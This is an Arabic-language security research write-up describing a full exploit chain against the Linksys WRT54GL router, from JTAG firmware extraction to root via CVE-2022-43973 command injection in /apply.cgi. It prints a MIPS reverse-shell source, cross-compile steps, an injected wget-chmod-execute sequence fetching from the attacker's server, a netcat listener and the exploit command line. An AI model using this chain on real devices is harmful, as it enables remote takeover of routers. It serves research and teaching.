من اللحام إلى الصدفة: استغلال كامل لعنوان جهاز توجيه Linksys WRT54GL (CVE-2022-43973)

رحلة بحث في أمن الأنظمة المضمنة من 10 مراحل — من اكتشاف منفذ JTAG إلى تنفيذ الأوامر عن بُعد على جهاز توجيه استهلاكي يعمل بمعمارية MIPS.

إخلاء مسؤولية: تم إجراء هذا البحث لأغراض تعليمية وبحثية فقط على أجهزة أمتلكها شخصيًا. لم يتم الوصول إلى أي أنظمة غير مصرح بها. يجب إعادة إنتاج جميع التقنيات الموصوفة هنا فقط على أجهزة تمتلكها أو لديك إذن كتابي صريح لاختبارها. لا يتحمل المؤلف أي مسؤولية عن أي إساءة استخدام للمعلومات المقدمة. التزم دائمًا بالقوانين واللوائح وممارسات الإفصاح المسؤول المعمول بها.

جدول المحتويات

• الملخص التنفيذي
• نظرة عامة على الجهاز المستهدف
• المرحلة 1–2: الاستكشاف المادي واكتشاف الأطراف
• المرحلة 3–4: تصحيح الأخطاء عبر JTAG واستخراج البرامج الثابتة
• المرحلة 5–6: تحليل البرامج الثابتة والمحاكاة
• المرحلة 7: البحث عن الثغرات — CVE-2022-43973
• المرحلة 8: تطوير الحمولة — صدفة عكسية MIPS
• المرحلة 9: تسليم الاستغلال وصدفة الجذر
• المرحلة 10: تحليل الشبكة والجلسة
• الأدوات والتقنيات
• الاستنتاجات الرئيسية
• المراجع
• التوثيق التفصيلي
• الترخيص

الملخص التنفيذي

• الهدف: Linksys WRT54GL v1.1 — جهاز توجيه استهلاكي واسع الانتشار يعتمد على مجموعة شرائح Broadcom BCM5352 (معمارية MIPS 32 بت)
• الثغرة: CVE-2022-43973 — تنفيذ أوامر عن بُعد عبر حقن الأوامر في واجهة إدارة HTTP
• النطاق: سلسلة استغلال كاملة من الأجهزة إلى البرامج تمتد على 10 مراحل، من الوصول المادي عبر JTAG إلى صدفة الجذر عن بُعد
• النتيجة: الحصول على صدفة جذر كاملة عن بُعد عبر حمولة صدفة عكسية مخصصة لـ MIPS
• الأدوات: JTAGulator، Attify Badge، OpenOCD، Ghidra، binwalk، FirmAE، Docker مع سلسلة أدوات ترجمة متقاطعة لـ Broadcom MIPS

نظرة عامة على الجهاز المستهدف

يُعد Linksys WRT54GL أحد أشهر أجهزة التوجيه الاستهلاكية التي تم إنتاجها على الإطلاق. جعله دعمه للبرامج الثابتة مفتوحة المصدر مفضلاً لدى المتحمسين والباحثين على حد سواء. على الرغم من عمره، لا يزال قيد الاستخدام النشط في جميع أنحاء العالم، مما يجعله هدفًا ذا صلة لأبحاث أمن الأنظمة المضمنة.

المرحلة 1–2: الاستكشاف المادي واكتشاف الأطراف

الخطوة الأولى في أي تقييم لأمن الأجهزة هي الفحص المادي. بعد فتح غلاف الجهاز، حددت واجهتي تصحيح أخطاء على لوحة الدوائر المطبوعة:

• رأس JTAG ذو 12 طرفًا (غير معبأ) لتصحيح الأخطاء على مستوى الأجهزة
• منفذ تسلسلي (UART) ذو 10 أطراف يعمل بمستويات TTL 3.3 فولت

نظرًا لأن رأس JTAG كان غير معبأ، قمت بلحام رأس أطراف مؤقت للوصول إلى واجهة التصحيح. باستخدام مقياس متعدد، حددت خطوط الأرض (GND) والطاقة (Vcc) وأكدت أن الهدف يعمل بمستويات منطق 3.3 فولت — وهو أمر بالغ الأهمية لتجنب تلف مجموعة الشرائح.

اكتشاف أطراف JTAG باستخدام JTAGulator

لتعيين إشارات JTAG، استخدمت JTAGulator من Grand Idea Studio — وهي أداة أجهزة مصممة لتحديد واجهات التصحيح تلقائيًا عن طريق فحص جميع مجموعات الأطراف الممكنة.

نجح JTAGulator في تحديد توزيع أطراف JTAG التالي:

board: wrt54gl_v1.1
device: Linksys WRT54GL v1.1
pins:
  TCK: PA3
  TMS: PA4
  TDI: PA1
  TDO: PA2
  TRST: NC
  SRST: PB0
notes: "Header JP3 — تم التحقق من منطق 3.3V."

المرحلة 3–4: تصحيح الأخطاء عبر JTAG واستخراج البرامج الثابتة

بعد تحديد أطراف JTAG، قمت بتوصيل Attify Badge — وهي أداة تقييم أمن الأجهزة مفتوحة المصدر (مرخصة بموجب GNU GPL v3.0) تحتوي على شريحة FTDI FT2232H — برأس JTAG الخاص بجهاز التوجيه.

قمت بتشغيل OpenOCD (مصحح الأخطاء على الرقاقة مفتوح المصدر) مع تهيئة مخصصة مُعدة خصيصًا لهدف BCM5352، نظرًا لأن التهيئات الرسمية لم تكن متوافقة مع هذا الإصدار المحدد من الأجهزة.

تخطيط ذاكرة الفلاش

تحدد تهيئة OpenOCD المخصصة تخطيط أقسام الفلاش لجهاز التوجيه:

تفريغ البرامج الثابتة

بعد إيقاف وحدة المعالجة المركزية، قمت بإجراء تفريغ كامل بحجم 4 ميجابايت لفلاش NOR المُخطط للذاكرة:

> target halt
> dump_image ./dumps/wrt54gl.bin 0xbfc00000 0x00400000

المرحلة 5–6: تحليل البرامج الثابتة والمحاكاة

التحليل الثابت باستخدام binwalk

باستخدام binwalk، قمت بتحليل تفريغ البرامج الثابتة لتحديد أنظمة الملفات المضمنة والقطاعات المضغوطة وصورة النواة:

binwalk ./dumps/wrt54gl.bin
binwalk -E ./dumps/wrt54gl.bin    # تحليل الإنتروبيا
sha256sum ./dumps/wrt54gl.bin     # التحقق من التكامل

كشف التحليل عن نظام ملفات جذر SquashFS يحتوي على بيئة Linux قياسية تعتمد على BusyBox. قمت باستخراجه باستخدام binwalk -e وunsquashfs للفحص الأعمق.

محاكاة البرامج الثابتة باستخدام FirmAE

لإنشاء بيئة اختبار آمنة، قمت بإعداد محاكاة للبرامج الثابتة باستخدام FirmAE — وهو إطار عمل محاكاة آلي للبرامج الثابتة يدعم معماريات MIPS. سمح لي ذلك بإعادة إنتاج خدمات جهاز التوجيه (HTTP، telnet) في بيئة افتراضية واختبار الاستغلال دون خطر على الجهاز المادي.

المرحلة 7: البحث عن الثغرات — CVE-2022-43973

باستخدام Ghidra (إطار عمل الهندسة العكسية التابع لوكالة الأمن القومي الأمريكية) مع إضافة مفكك الشيفرة لـ MIPS، قمت بإجراء تحليل ثابت على ثنائيات البرامج الثابتة المستخرجة لتأكيد وجود CVE-2022-43973.

تفاصيل الثغرة

توجد الثغرة في معالج طلبات CGI لجهاز التوجيه. يقبل حقل النموذج ui_language في نقطة النهاية /apply.cgi مدخلات عشوائية دون تعقيم. عن طريق حقن أوامر الصدفة المغلفة بتركيب ;cmd;، يمكن للمهاجم ترتيب أوامر يتم تنفيذها لاحقًا عند تشغيل ترقية البرامج الثابتة عبر /upgrade.cgi.

إصدارات البرامج الثابتة المتأثرة:

• v4.30.18 (الأحدث) — يتطلب مصادقة تعتمد على الجلسة
• v4.30.16 (الأقدم) — يستخدم مصادقة HTTP الأساسية فقط

المرحلة 8: تطوير الحمولة — صدفة عكسية MIPS

قمت بتطوير صدفة عكسية مخصصة في لغة C، مصممة خصيصًا لمعمارية MIPS لجهاز التوجيه. تنشئ الحمولة اتصال TCP عائدًا إلى المهاجم، وتعيد توجيه جميع واصفات الملفات القياسية إلى المقبس، وتستدعي صدفة تفاعلية:

sockt = socket(AF_INET, SOCK_STREAM, 0);
revsockaddr.sin_family = AF_INET;
revsockaddr.sin_port = htons(port);
revsockaddr.sin_addr.s_addr = inet_addr(argv[1]);

connect(sockt, (struct sockaddr *)&revsockaddr, sizeof(revsockaddr));

dup2(sockt, 0);   // إعادة توجيه stdin
dup2(sockt, 1);   // إعادة توجيه stdout
dup2(sockt, 2);   // إعادة توجيه stderr

execve("/bin/sh", sh_argv, NULL);

الترجمة المتقاطعة باستخدام Docker

لتجميع الحمولة للمعمارية المستهدفة، قمت ببناء بيئة Docker قابلة للتكرار تحتوي على سلسلة أدوات الترجمة المتقاطعة لـ Broadcom MIPS (hndtools-mipsel-linux-3.2.3)، المستمدة من إصدار Linksys GPL الرسمي (WRT54GL-ETSI_v4.30.18.006):

docker build -t wrt54gl-toolchain:latest -f Dockerfile .
docker run --rm -it -v "$(pwd)":/work --workdir /work wrt54gl-toolchain:latest

# داخل الحاوية:
mipsel-linux-gcc -static -O2 -o revshell_mips revshell.c

الملف الثنائي الناتج مرتبط بشكل ثابت للقابلية للنقل — لا تبعيات للمكتبات المشتركة على الهدف.

المرحلة 9: تسليم الاستغلال وصدفة الجذر

قمت بتطوير إطار عمل استغلال بلغة Python يقوم بأتمتة سلسلة الهجوم بأكملها من خلال استغلال CVE-2022-43973. ينفذ الاستغلال تسلسلًا من 4 خطوات، يتم حقن كل منها كأمر عبر معامل ui_language:

تسلسل الهجوم

1. رفع الحمولة — حقن أمر wget لتنزيل الملف الثنائي للصدفة العكسية MIPS من خادم HTTP الخاص بالمهاجم إلى /tmp/X على جهاز التوجيه
2. تعيين الأذونات — حقن chmod +x /tmp/X لجعل الملف الثنائي قابلاً للتنفيذ
3. تنفيذ الحمولة — حقن /tmp/X <attacker_ip> <port> لتشغيل الصدفة العكسية
4. التنظيف — إعادة تعيين ui_language إلى قيمته الافتراضية (en)

يتم تغليف كل أمر بالشكل ;cmd; في حقل ui_language وإرساله عبر POST /apply.cgi. يؤدي POST /upgrade.cgi لاحقًا إلى تشغيل التنفيذ.

التنفيذ

على جهاز المهاجم، يلزم ثلاثة أطراف طرفية:

# الطرفية 1: خدمة الملف الثنائي للصدفة العكسية
python -m http.server 8000

# الطرفية 2: الاستماع للصدفة العكسية الواردة
nc -lvnp 4141

# الطرفية 3: تشغيل الاستغلال
python exploit.py --host 192.168.1.1 --username admin --password admin \
  --attacker-host 192.168.1.2 --attacker-http-port 8000 \
  --attacker-handler-port 4141

النتيجة: صدفة الجذر

تتصل الصدفة العكسية مرة أخرى بمستمع Netcat الخاص بالمهاجم، مما يوفر صدفة جذر تفاعلية على جهاز التوجيه.

المرحلة 10: تحليل الشبكة والجلسة

للتحقق من سلسلة الاستغلال الكاملة، قمت بالتقاط حركة مرور الشبكة باستخدام Wireshark أثناء الهجوم. أكد التحليل ما يلي:

• تسلسل حقن HTTP POST الصحيح إلى /apply.cgi و/upgrade.cgi
• تنزيل الحمولة بنجاح عبر wget من خادم HTTP الخاص بالمهاجم
• إنشاء اتصال TCP للصدفة العكسية على المنفذ 4141
• سلامة ملف تعريف الارتباط للجلسة وتدفق المصادقة

الأدوات والتقنيات

الاستنتاجات الرئيسية

1. الوصول المادي هو متجه هجوم قوي. يوفر JTAG وصولاً على مستوى الأجهزة بصلاحيات الجذر يتجاوز جميع آليات أمن البرامج. يجب على المؤسسات التي تنشر أجهزة مضمنة النظر في ضوابط الأمن المادي وتعطيل واجهات التصحيح في البرامج الثابتة للإنتاج.

2. استخراج البرامج الثابتة هو الأساس. يكشف تفريغ وتحليل البرامج الثابتة عن مجموعة البرامج الكاملة — بما في ذلك بيانات الاعتماد المخزنة بشكل ثابت وبيانات التهيئة ومسارات الشيفرات الضعيفة غير المرئية من منظور الشبكة فقط.

3. المحاكاة تمكن البحث الآمن والقابل للتكرار. تسمح أدوات مثل FirmAE للباحثين بإعادة إنتاج سلوك الجهاز في بيئة افتراضية، مما يمكن من الاختبار التكراري دون المخاطرة بالأجهزة المادية أو التسبب في عواقب غير مقصودة.

4. فشل بسيط في التحقق من صحة المدخلات له تأثير حرج. يوضح CVE-2022-43973 كيف يمكن لحقل نموذج واحد غير معقم في واجهة ويب أن يؤدي إلى اختراق كامل للجهاز بصلاحيات الجذر. يظل الدفاع في العمق — التحقق من صحة المدخلات، وأقل الامتيازات، وممارسات البرمجة الآمنة — ضروريًا.

5. سلاسل الأدوات القابلة للتكرار مهمة. تضمن بيئات الترجمة المتقاطعة القائمة على Docker إمكانية إعادة بناء الحمولات والأدوات بشكل موثوق، مما يجعل نتائج البحث قابلة للتحقق والمشاركة.

6. الأجهزة القديمة تمثل خطرًا مستمرًا. لا يزال WRT54GL قيد الاستخدام النشط عالميًا. تشكل الأجهزة المنتهية الصلاحية التي لم تعد تتلقى تحديثات أمنية تهديدًا مستمرًا لأمن الشبكة.

المراجع

الثغرة

• CVE-2022-43973 — NVD: https://nvd.nist.gov/vuln/detail/CVE-2022-43973
• CVE-2022-43973 — MITRE: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-43973

أدوات الأجهزة

• Attify Badge — https://docs.attify.com/ (GNU GPL v3.0)
• JTAGulator — Grand Idea Studio: https://github.com/grandideastudio/jtagulator
• معيار JTAG — IEEE 1149.1 (معيار منفذ اختبار الوصول وهندسة مسح الحدود)

أدوات البرامج

• OpenOCD — https://openocd.org/
• Ghidra — https://ghidra-sre.org/
• FirmAE — https://github.com/pr0v3rbs/FirmAE
• Firmadyne — https://github.com/firmadyne/firmadyne
• binwalk — https://github.com/ReFirmLabs/binwalk

البائع

• برامج Linksys WRT54GL الثابتة — https://www.linksys.com/us/support-article?articleNum=148648
• سلسلة أدوات GPL من Linksys — https://www.linksys.com/us/support-article?articleNum=114663

التوثيق التفصيلي

للحصول على تفاصيل تقنية متعمقة، راجع المستندات التالية:

الترخيص

هذا المشروع مرخص بموجب رخصة MIT — راجع ملف LICENSE للحصول على التفاصيل.

إذا كنت تقوم بإعادة إنتاج مخططات Attify أو JTAGulator، فاتبع تراخيص كل منهما (GNU GPL v3.0 لمكونات Attify).

Umberto Della Monica
LinkedIn

#EmbeddedSecurity #HardwareSecurity #IoTSecurity #Pentesting #FirmwareAnalysis #JTAG #CVE #ReverseEngineering #CyberSecurity #InfoSec